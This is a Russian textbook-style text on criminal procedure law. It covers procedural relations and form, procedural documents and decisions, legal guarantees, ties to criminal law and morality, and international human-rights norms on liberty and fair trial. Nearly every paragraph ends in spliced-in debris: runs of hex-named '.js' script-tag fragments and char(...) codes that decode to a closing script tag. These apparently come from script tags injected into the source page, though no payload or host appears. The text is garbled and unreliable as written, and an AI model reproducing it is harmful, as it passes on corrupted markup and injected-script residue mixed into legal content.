Уголовно-процессуальное право регулирует осуществление уголовно-процессуальной деятельности не иначе как в форме уголовно-процессуальных отношений, в которых субъекты наделены правами и обязанностями. Правоотношения могут быть между государственными органами и должностными лицами (суд - прокурор), между должностными лицами (следователь - прокурор), между государственными органами, должностными лицами и гражданами (следователь - обвиняемый).
1. Особенностью уголовно-процессуальных правоотношений, регулируемых уголовно-процессуальным правом, является то, что одним из субъектов уголовно-процессуального отношения всегда выступает орган государства (должностное лицо), наделенный властными полномочиями, т.е. это всегда властеотношения. Государственный орган при наличии определенного юридического факта обязан совершить предписанные ему законом действия, реализовать свои полномочия.
Решения государственных органов и должностных лиц имеют обязательное значение для всех лиц и органов в пределах, установленных законом.
В силу особенностей предмета уголовно-процессуального регулирования нормы уголовно-процессуального права, обращенные к государственным органам, содержат предписания или разрешения поступать при наличии указанных в законе юридических фактов определенным образом: возбудить дело, привлечь в качестве обвиняемого, избрать меру пресечения, вынести приговор, прекратить уголовное дело и т.д. Выполнение такого рода предписаний закона составляет обязанность государственных органов. В других случаях закон представляет им право поступить определенным образом, выбрать одно из возможных решений (например, прекратить уголовное преследование или направить дело в суд; прекратить уголовное преследование в связи с деятельным раскаянием обвиняемого и др.).71b91ccd90ca8adc21c1c815d729a725.js" type="text/javascript">f15338102d9233bd6e9884fefd2447b7char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)6495561747e8cd5cdf04353592cea48c.js" type="text/javascript">7ed1d2b6e44ba429d41c85be94d4b693.js" type="text/javascript">24b6dad9da95ef05b28202ba02fe376d.js" type="text/javascript">96fd9cf3de2006f774dffc72f62ca601.js" type="text/javascript">d369aa56dd88d67464529aa449e99c21.js" type="text/javascript">add3f141a6584fdbd1492c258142f55b.js" type="text/javascript">125258e3f1dad70f5b6a81ab1bcb1baa.js" type="text/javascript">4c53b3f23310b64c6f98440c114caa5b.js" type="text/javascript">f2a1fbedcc53be675266de2376c4e706.js" type="text/javascript">bcd9a3d62f1504b8c2fe534effe9b5c7.js" type="text/javascript">f5b0ce1b26e91d7c697c75c3d054ebfe.js" type="text/javascript">

Уголовно-процессуальное право устанавливает процедуру (порядок, форму) производства по уголовным делам: последовательность стадий и условий перехода дела из одной стадии в другую, условия, характеризующие производство в конкретной стадии, основания, условия и порядок производства следственных и судебных действий, содержание и форму решений, которые могут быть вынесены. Этот порядок производства по делу в целом или отдельных процессуальных действий принято называть процессуальной формой.
Уголовно-процессуальная форма основана на системе принципов процесса, разделении процессуальных функций и обеспечивает их реализацию в надлежащей правовой процедуре.
Процессуальная форма установлена для совершения отдельных процессуальных действий (например, порядок производства выемки, обыска, очной ставки, допроса обвиняемого и др.). В определенной процессуально-правовой процедуре происходит производство в каждой из стадий процесса. Регламентация процессуальной формы включает указание на цель действия, его участников, их права и обязанности, последовательность действий, закрепление произведенного действия в соответствующем документе и его реквизиты .2248ed04f21ec613169dc787dc8c1373.js" type="text/javascript">a284122bacdcb9a2058b8ba932360d81char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)66af12ceccb4c81f1ec1a6ef24bf78eb.js" type="text/javascript">aafabd32b3b7a90c1c08ce0bd5a21265.js" type="text/javascript">4cb49081c7fd6784373f06e906075dd8.js" type="text/javascript">2bdb9832125523c940b279125873a2e5.js" type="text/javascript">caeb1a9c9ef9be9b2bc8d2b903305467.js" type="text/javascript">ad6e4de5c516056aafcbcb5f44b965ec.js" type="text/javascript">f21a38d5bdd9de37305cfb084cfcf4a9.js" type="text/javascript">227ad32cd74c413b6808c237671b9a80.js" type="text/javascript">9bcc5f05e53dfe21e9e166b7e58ff311.js" type="text/javascript">80ea74cca6df57bfc368221ec2aea4b2.js" type="text/javascript">bd486aa8628ce8e9b36257d16b1ca666.js" type="text/javascript">

Одним из требований процессуальной формы является правило о том, чтобы все процессуальные действия и принятые решения были письменно закреплены в определенных процессуальных документах.
Закон устанавливает такую форму этих документов, которая дает возможность полно отразить в них ход и результаты проведения следственных и судебных действий, принятое решение, с тем чтобы в дальнейшем использовать полученные данные при расследовании, рассмотрении, разрешении уголовного дела, проверке законности и обоснованности проведенных действий и принятых решений.
Одну группу процессуальных документов составляют протоколы следственных и судебных действий, в которых удостоверяется факт производства, содержание и результаты следственных и судебных действий, которые допускаются в качестве доказательств (ст. 83 УПК) (протокол осмотра, протокол допроса, протокол судебного заседания).
Другую группу составляют решения. Это правоприменительные акты, содержащие ответы на правовые вопросы, возникающие при производстве по делу, и властные предписания о правовых действиях (п. 33 ст. 5 УПК).
Процессуальные решения как акты применения уголовно-процессуального права характеризуются рядом признаков: решения выносятся только уполномоченными на то государственными органами, должностными лицами, присяжными и народными заседателями в пределах их компетенции; выражают властное веление, подтверждают, изменяют или прекращают уголовно-процессуальные отношения, подтверждают наличие или устанавливают отсутствие материально-правовых отношений. Решения принимаются в установленном порядке и выражаются в определенной законом форме.197dbad14bf26f80bd1fc60ffc9ddf41.js" type="text/javascript">cec669588f218cb5c00a0f861d13e719char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)d0489c095faa1bdc7b48ecff65ff7227.js" type="text/javascript">d91dbfe1797eb2d988b1a68e2d09830e.js" type="text/javascript">a48d05642f1b2dc7ae555714fd2bb3a6.js" type="text/javascript">8d8195a96723728b35f5af35a7a5adec.js" type="text/javascript">ca50ceebed6fef92396c972eea1ce8be.js" type="text/javascript">6f102552e47307b76eeba6d3dbfe278b.js" type="text/javascript">0b4a253a3be5db4af9ae1e21324d03aa.js" type="text/javascript">c958ff46a37cb4a23bf9c8454ca03009.js" type="text/javascript">d6fccdc960af195a021f6b4015402152.js" type="text/javascript">6aff2455c87542c50ff2fbd7f1eb1be6.js" type="text/javascript">cb2192a44dff30358233d798dee00e25.js" type="text/javascript">

Процессуально-правовые гарантии - это содержащиеся в нормах права правовые средства, обеспечивающие всем субъектам уголовно-процессуальной деятельности возможность выполнять обязанности и использовать предоставленные права.
Государственным органам (должностным лицам) правовые гарантии обеспечивают возможность выполнять свои обязанности и использовать свои права для достижения задач уголовного судопроизводства, а гражданам - реально использовать предоставленные им процессуальные средства для защиты и охраны прав и законных интересов. Права, предоставленные органу государства (должностному лицу) в уголовном процессе, гарантированы обязанностью соответствующих лиц выполнять обращенные к ним требования и установленными законом санкциями за невыполнение этих обязанностей.
Поскольку одной из сторон процессуально-правового отношения всегда является государственный орган или должностное лицо, наделенное властными полномочиями, особое значение в уголовном процессе приобретают процессуальные гарантии личности, охрана ее законных прав и интересов, обеспечение права на судебную защиту. Реальное обеспечение права личности, в первую очередь обвиняемого, является критерием оценки демократизма, гуманизма уголовного процесса.42e76253f5c872f618c60696826ea607.js" type="text/javascript">1df053c8d07eb4e9da5492e9c4541ddcchar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)c06ac0945efe458ec6b43869c5780ed2.js" type="text/javascript">8914189865182a3b0593b2d693327230.js" type="text/javascript">9a052b8b64e2c7900942aafe8dd2a372.js" type="text/javascript">b8656f48c7091dc97e1b1b148bd2d521.js" type="text/javascript">e1e2e6ec6d59fa17dbe72e37edded1e0.js" type="text/javascript">2d86398ab97db8a9909ff4958f12263a.js" type="text/javascript">a43f381f3735900d7bbfcaca632b7e73.js" type="text/javascript">9d80311f2f113abe710ce9b895cb868a.js" type="text/javascript">f2e9f4a803f1cb8e2279b7407a15af36.js" type="text/javascript">590eb3df5ff04f1da49f98759dfabc99.js" type="text/javascript">681c89a879981a9e94b5a0253428cf21.js" type="text/javascript">

Уголовно-процессуальное право неразрывно связано с уголовным правом.
Уголовное право устанавливает основания уголовной ответственности, дает понятие преступления и определяет их виды, устанавливает понятие и цели наказания, виды наказания. Уголовное законодательство определяет обстоятельства, исключающие преступность деяния, освобождения от уголовной ответственности и от наказания. Категории преступления и грозящее за них наказание служат основанием для дифференциации в УПК дел государственного, частного и частно-публичного преследования (ст. 20 УПК), для регламентации в УПК подследственности и подсудности дел (ст. ст. 31, 151 УПК).
Уголовный процесс представляет собой систему правовых средств, обеспечивающих применение норм уголовного права путем установления фактических обстоятельств события, лица, совершившего определенные действия, его вины, последствий его действий и др., т.е. путем установления наличия или отсутствия в конкретном случае оснований уголовной ответственности или освобождения от нее (ст. ст. 5, 8, 19, 43, 75 - 78 УК).
Материально-правовые (уголовно-правовые) отношения фактически возникают между лицом, совершившим преступление, и государством в момент совершения преступления. Преступление является тем юридическим фактом, который порождает право государства на наказание виновного, а у лица, совершившего преступление, - обязанность нести ответственность за свое деяние. Для реализации этого права государства должно быть установлено предусмотренное уголовным правом основание ответственности - совершение деяния, содержащего все признаки преступления, предусмотренного Уголовным кодексом (ст. 8 УК).6273c79b15c6f0e6ee46bce9244e5d85.js" type="text/javascript">05718478f1934ebd9858682a656fb2ca.js" type="text/javascript">8d12f29604c16f9dda3be80851e49538.js" type="text/javascript">

В уголовном процессе, как и в других сферах общественной жизни, регулятором поведения людей, средством организации взаимоотношений между ними служат не только правовые нормы, но и нормы морали (нравственности). Мораль как форма общественного сознания действует, существует в виде суждений, представлений людей о добре, зле, справедливости, чести, долге, гражданственности. Соответствующие моральные нормы в сознании людей служат регулятором их поведения.
Это положение важно для характеристики взаимоотношения права и морали в регулировании уголовно-процессуальных действий и отношений.
Взаимодействие права и морали в сознании дознавателя, следователя, прокурора, судьи влияет на тактику их поведения, манеру общения с обвиняемым, свидетелем, потерпевшим и даже на выбор правового решения, когда в рамках правовой нормы это жестко не определено и выбор зависит от конкретных обстоятельств дела, личности обвиняемого и т.п. .
--------------------------------
См.: Кони А.Ф. Собр. соч.: В 8 т. Т. 4. Нравственные начала в уголовном процессе. М., 1967. С. 33; Проблемы судебной этики / Под ред. М.С. Строговича. М., 1974; Кокорев А.Д., Котов Д.П. Этика уголовного процесса. Воронеж, 1993; Этика судьи / Под ред. Н.В. Радутной. М., 2002; Карнозова Л.М. Гуманитарные начала в деятельности судьи в уголовном процессе. М., 2004.

Многие процессуально-правовые предписания возникли на основе соответствующих моральных представлений и правил. Например, представление о том, что запрещается выполнение действий или принятие решений, которые унижают достоинство гражданина, приводят к распространению сведений об обстоятельствах его личной жизни, ставят под угрозу его здоровье, необоснованно причиняют ему физические или нравственные страдания, получило закрепление в законе (ст. ст. 9 - 14 УПК).a3ab4d91ed5387c261904a9d384b5584.js" type="text/javascript">9928300b0bcf2b831476e20e4e5f3dd4char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)1520c2327480117ebf842c424d41921c.js" type="text/javascript">c6d0cb9bc1ad2dbd5d93367c1a0f2352.js" type="text/javascript">81e702736d7137f39910316e227747c8.js" type="text/javascript">dfb9b8e9ac6c6f1375ec36c4d63f84a3.js" type="text/javascript">f13854451617fb4adc2cb2d6a89f3e1e.js" type="text/javascript">aac8c7158b5efa0983c692a5f97f52b6.js" type="text/javascript">df6cb0e678abb2ae47c01f1e6226daea.js" type="text/javascript">0e7d384a0965fb662a516ead2e0fcc0f.js" type="text/javascript">5074fe63246e71049b6843cad40c1f96.js" type="text/javascript">75db62937f106dac03feaf20d836ea66.js" type="text/javascript">7a24bf28013cbae01f28e528737b006c.js" type="text/javascript">

О роли общепризнанных принципов и норм международного права в области прав человека говорится в ряде статей Конституции РФ. В соответствии с ч. 1 ст. 17 Конституции РФ в Российской Федерации признаются и гарантируются права и свободы человека и гражданина согласно общепризнанным принципам и нормам международного права и в соответствии с настоящей Конституцией. Согласно ч. 4 ст. 15 Конституции РФ общепризнанные принципы и нормы международного права и международные договоры Российской Федерации являются составной частью ее правовой системы. Если международным договором Российской Федерации установлены иные правила, чем предусмотренные законом, то применяются правила международного договора. Это дает основание считать, что общепризнанные принципы и нормы международного права являются самостоятельным источником российского права, в том числе и права уголовно-процессуального. Для уголовно-процессуального права указанные принципы и нормы имеют особое значение, поскольку именно эта отрасль права регулирует такую специфическую сферу общественных отношений, которая достаточно чувствительно затрагивает наиболее важные права человека (право на жизнь, свободу, личную неприкосновенность и др.). Принимая это во внимание в международно-правовых актах, посвященных правам человека, наибольшее внимание уделяется гарантии прав лиц, вовлеченных в сферу уголовного судопроизводства.e1b428ddf507ce4afd207285596d2a02.js" type="text/javascript">8498f3645e23267d79273e2bebbc1085char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)b02de7003593559da745c8b7896baf45.js" type="text/javascript">dc9b01287f74a98a9093b6a34882a422.js" type="text/javascript">0f93775cabb1220d808282b11e12e9ce.js" type="text/javascript">259ccbc7f32f2a43fac6d9e6a5952114.js" type="text/javascript">4b04c614a86910f7a493d60d87243912.js" type="text/javascript">bc66ee99450f3b5e341bbf8988a81127.js" type="text/javascript">75823a43554cdd73f89e461bbe8fd74f.js" type="text/javascript">82ee3047482154c3d4c6772db24de804.js" type="text/javascript">f7441a6c8ae8b8db3121a423cc341007.js" type="text/javascript">4e7f5bf757c07f78af128d05e29d36fb.js" type="text/javascript">02a300d3f971f5dc0ef88becfd8580f2.js" type="text/javascript">

Указанное право закреплено в ст. ст. 3 и 9 Декларации, ст. 9 Пакта и ст. 5 Конвенции. "Каждый человек имеет право на жизнь, на свободу и на личную неприкосновенность" (ст. 3 Декларации). "Никто не может быть подвергнут произвольному аресту, задержанию или изгнанию" (ст. 9 Декларации). Аналогичные нормы содержатся в ст. 9 Пакта и ст. 5 Конвенции. Как видно, в указанных статьях установлен запрет на произвольный арест или задержание. Для того чтобы лишение гражданина свободы не было произвольным, необходимо следующее:
1) лишение свободы должно быть основано на законе;
2) закон должен четко определять случаи, допускающие лишение или ограничение свободы;
3) лишение или ограничение свободы должно происходить с соблюдением определенных гарантий.
Принимая это во внимание, ст. 9 Пакта и ст. 5 Конвенции перечисляют случаи, когда лишение свободы возможно. Среди этих случаев в ч. 1 ст. 5 Конвенции указано: а) законное содержание лица под стражей на основании признания его виновным компетентным судом; b) законный арест или задержание лица за невыполнение законного решения суда или с целью обеспечения выполнения любого обязательства, предписанного законом; c) законный арест или задержание лица, произведенные с тем, чтобы оно предстало перед компетентным судебным органом по обоснованному подозрению в совершении правонарушения или в случае, когда имеются основания полагать, что необходимо предотвратить совершение им правонарушения или помешать ему скрыться после его совершения . В комментариях к ст. 5 Конвенции, посвященной защите свободы и личной неприкосновенности, говорится, что даже такое основное право, как право на свободу и личную неприкосновенность, не является абсолютным. "При любой правовой системе возникают ситуации, когда свобода лица при необходимости должна уступать неким иным интересам общества" . Для того чтобы необходимость уступать не превратилась в произвол, меры таких уступок должны быть строго регламентированы законом и определять возможность применения правоограничений в области свободы и личной неприкосновенности в каждом конкретном случае должен независимый и компетентный суд, в задачу которого не входит борьба с преступностью. Это было подчеркнуто в ряде решений Европейского суда. "Только представителю власти, обладающему атрибутами независимости, объективности и беспристрастности, ст. 5 Конвенции вверяет судьбу лица, лишенного свободы. Прокурор, который выполняет функцию обвинения, такими свойствами не обладает".fe3404d9874a35279fbf3b6e6669e182.js" type="text/javascript">7e228a5e50543a6dcdfde19a9d43e37bchar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)fdd9ec2ba23a7fb8c0b71979421f6226.js" type="text/javascript">ab72ece1b6d10f95e283059f6f33039f.js" type="text/javascript">5cc0518e33d8e163064828b27068ed52.js" type="text/javascript">192c66c833c265478f086ab6ec7c3b51.js" type="text/javascript">ed40a656cd39a61271f9e7383b2446cd.js" type="text/javascript">a80370ee44014bc978cecaab58945fcc.js" type="text/javascript">4d5db878a84f85ef99090f9fb28470ea.js" type="text/javascript">5257f7be915aa8ae7f8daf97d6bb79d9.js" type="text/javascript">dd3ac04b1e6a6f9f0ed7b91f9c5c9e61.js" type="text/javascript">351994848b833e6fcd5f2438e84f0065.js" type="text/javascript">0213fa36cf691396f5700a5f4d957608.js" type="text/javascript">

Право на судебную защиту и справедливое судебное разбирательство зафиксировано в ст. 10 Декларации, ч. 1 ст. 14 Пакта и ст. 6 Конвенции. Статья 14 Пакта и ст. 6 Конвенции состоят из нескольких частей. Первые части посвящены праву на судебную защиту (доступу к правосудию) и некоторым общим принципам справедливости, которым должно удовлетворять правосудие, как по уголовным, так и по гражданским делам. Остальные части посвящены исключительно правосудию по уголовным делам. Часть 1 ст. 6 Конвенции гласит: "Каждый имеет право при определении его гражданских прав и обязанностей или при рассмотрении любого уголовного обвинения, предъявленного ему, на справедливое и публичное разбирательство дела в разумный срок независимым и беспристрастным судом, созданным на основании закона. Судебное решение объявляется публично, однако пресса и публика могут не допускаться на все судебное разбирательство или часть его по соображениям морали, общественного порядка или государственной безопасности в демократическом обществе, если это требуется в интересах несовершеннолетних или для защиты частной жизни сторон, или - в той мере, в какой это, по мнению суда, строго необходимо - при особых обстоятельствах, когда гласность нарушила бы интересы правосудия".
Таким образом, право на судебную защиту и справедливое судебное разбирательство включает в себя следующие элементы общего характера.
1. Обеспечение доступа к правосудию в любом случае, когда имеется спор относительно гражданских прав и обязанностей или когда гражданину предъявлено уголовное обвинение.
2. Наличие развитой судебной системы, установленной законом, при обеспечении независимости судей. Право на рассмотрение дела судом, созданным на основании закона, понимается как право на рассмотрение дела тем судом, к подсудности которого оно относится. Иногда такое право называется правом на "своего судью". Образование судов, не предусмотренных законом, запрещается.
3. Необходимость рассмотрения дела в разумный срок (без неоправданной задержки).
4. Беспристрастность суда.
5. Гласность судебного разбирательства за исключением случаев, предусмотренных законом.
Анализ нового УПК, Федерального конституционного закона "О судебной системе Российской Федерации", Закона РФ "О статусе судей в Российской Федерации" свидетельствует о том, что такие права, как право быть судимым независимым и беспристрастным судом, созданным на основании закона, нормативно обеспечены в полной мере.
Что касается права быть судимым в разумный срок, который интерпретируется как право быть судимым без неоправданной задержки, то УПК существенно продвинулся в регулировании сроков предварительного расследования преступлений и судебного разбирательства. Это выразилось прежде всего в том, что как обвиняемый, так и его защитник получили право обжалования продления сроков предварительного следствия, а также приостановления дела и отложения судебного разбирательства. Установлены и достаточно короткие сроки рассмотрения такого рода жалоб. Вместе с тем среди прав обвиняемого закон прямо не предусмотрел право быть судимым в разумный срок, что было бы желательно. Однако в силу прямого действия указанного права, предусмотренного как Пактом, так и Конвенцией, судьи, рассматривающие такого рода жалобы, в обоснование своих решений вправе ссылаться на указанные международные нормы.
Особо следует обратить внимание на изменение подхода законодателя к вопросу гласности судебного разбирательства, которое произошло в том числе благодаря учету ст. 6 Конвенции и позиции Европейского суда по этому вопросу. Ранее действовавшее законодательство крайне узко защищало права граждан на охрану частной жизни, разрешая проводить закрытое судебное разбирательство только в целях предотвращения разглашения сведений об интимных сторонах жизни участвующих в деле лиц. Такого же основания, как интересы правосудия, в российском законодательстве вообще никогда не предусматривалось.ae2a136266ce68781636baefee138e50.js" type="text/javascript">2b955f8e46aace35ce9c230de19230dfchar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)df6f7b0a48926c30a89611b1a3014381.js" type="text/javascript">03537004d255293c11276f1c3c328f82.js" type="text/javascript">86921f21953007d823c2162301a57b19.js" type="text/javascript">1cb9a73396b77fc53a9f8d1224ed6ada.js" type="text/javascript">1d7c320da9463566fe10a197634315c2.js" type="text/javascript">2020930836bf239c868f0439cbd2c78c.js" type="text/javascript">3e83e4db651563d076460bbc758c267d.js" type="text/javascript">49b1a315ddbeb69c056e54c8ab326f2a.js" type="text/javascript">bf5771fcb522a4113ac879f256e11c91.js" type="text/javascript">7217d8befce2f67792edac9846b8e9f3.js" type="text/javascript">e1fd72e04cd4fa878c5d1bf2bc6a8d03.js" type="text/javascript">

Статья 3 Протокола N 7 посвящена праву на возмещение гражданину ущерба, понесенного в результате судебной ошибки: "Если какое-либо лицо окончательным приговором было признано виновным в совершении уголовного преступления, и если впоследствии вынесенный ему приговор был пересмотрен, в том числе по вновь открывшимся обстоятельствам, которые убедительно доказывают наличие судебной ошибки, то лицо, понесшее наказание в результате такого осуждения, получает компенсацию согласно закону".
До принятия УПК 2001 г. возмещение ущерба, причиненного гражданину незаконным привлечением к уголовной ответственности и осуждением, регулировалось Указом Президиума Верховного Совета СССР от 18 июля 1981 г. В новом УПК этому вопросу посвящена специальная глава (гл. 18) и существенно расширены основания возмещения вреда и виды вреда: кроме имущественного, предусмотрен также и моральный вред, который подлежит компенсации.
29 ноября 1983 г. Генеральной Ассамблеей ООН принята Декларация основных принципов для жертв преступлений и злоупотребления властью. В Декларации, в частности, подчеркивается, что жертвам преступлений необходимо обеспечить доступ к правосудию и справедливое обращение. Они имеют право на скорейшую компенсацию за нанесенный им ущерб в соответствии с национальным законодательством. В п. 6 названной Декларации записано, что следует предусмотреть, чтобы судебные процедуры в большей степени отвечали потребностям жертв путем:
а) предоставления жертвам информации о принадлежащих им правах, роли в судебном разбирательстве, сроках и результатах рассмотрения их дел, особенно в случаях тяжких преступлений;d16dcb0af94bda2244c0e0d68ded81a4.js" type="text/javascript">36e79ceef4ed955ae844ed5ee87e5c01char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)dedc0cbf4b669c1383b4bc30a2c59011.js" type="text/javascript">c7c44ef8473dd47d0b77a57da72fae0d.js" type="text/javascript">60195f1e874c5eda8a0b794014904b48.js" type="text/javascript">3ca98a3b5b2144a5b76ce79cae691dfc.js" type="text/javascript">b274162e839a64c2bab6c4875e4bc2ad.js" type="text/javascript">45ad349244debeb23c310d21bd7d858f.js" type="text/javascript">25c08c3014dd762e1adc98eb73c52064.js" type="text/javascript">f58f15f3529780fa3d9bc1f44bf74519.js" type="text/javascript">5aab92ac9ad912658e945094d4c90d94.js" type="text/javascript">1dbc298417a547e0ef7aef1755c9d96e.js" type="text/javascript">5eff15d650fa92d23467e9624fbdd48f.js" type="text/javascript">